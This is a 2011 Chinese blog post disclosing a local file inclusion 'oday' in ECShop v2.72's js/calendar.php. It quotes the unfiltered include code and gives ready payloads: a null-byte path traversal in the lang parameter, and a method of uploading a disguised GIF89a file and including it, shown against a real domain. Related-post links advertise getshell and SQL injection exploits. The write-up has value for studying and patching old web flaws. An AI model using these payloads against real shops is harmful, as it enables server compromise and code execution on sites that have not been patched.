ecshop最新版(v272) 本地包含漏洞ODAY(鸡肋)

2011, January 11, 5:52 PM. oday收藏
Submitted by admin

注:发布本文只是出于学习的目的,请勿用无非法用途!

很久前就发现了,今天发布出来吧,其实很简单,就是很多人没有注意这里:

直接看代码:
js/calendar.php

  1. $lang = (!empty($_GET['lang']))
  2. ? trim($_GET['lang']) : 'zh_cn';//没有过滤,很明显的包含漏洞 by: ℡Mr.LP
  3.  
  4. if (!file_exists('../languages/' . $lang . '/calendar.php'))
  5. {
  6. $lang = 'zh_cn';
  7. }
  8.  
  9. require(dirname(dirname(__FILE__)) . '/data/config.php');
  10. header('Content-type: application/x-javascript; charset=' . EC_CHARSET);
  11.  
  12. include_once('../languages/' . $lang . '/calendar.php');//这里包含,需要截断 by: ℡Mr.
复制代码

测试代码 :

// 需要 magic_quotes_gpc = Off

/js/calendar.php?lang=../index.php%00.(注意后面有个.)by: ℡Mr.LP

利用:

注册用户

然后上传GIF89a头的GIF文件欺骗,

然后包含 如:[img]http://www.lpboke.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.

Tags: ecshop, oday

« 上一篇 | 下一篇 »

只显示10条记录相关文章
ecshop最新版 (v272) 本地包含拿SHELL (浏览: 14789, 评论: 0)
ecshop后台获取shell最新方法,通杀最新版本&后台低权限 (浏览: 14174, 评论: 0)
ECshop 支付方式注射 0day (浏览: 9933, 评论: 0)
ecshop v2.72 前台写shell漏洞 (浏览: 8604, 评论: 0)
ecshop2.72鸡肋注入 (浏览: 7907, 评论: 0)
ecshop 通杀2.6*2.7 GBK版本 oday 爆路径 GetShell (浏览: 8853, 评论: 0)
ecshop后台拿shell的又一种方法 (浏览: 10225, 评论: 0)
ecshop SQL注射漏洞0821 0day (浏览: 7592, 评论: 0)
ECSHOP数据库结构参数表结构说明 (浏览: 11251, 评论: 0)
V5-SHOP商城0day (浏览: 6253, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):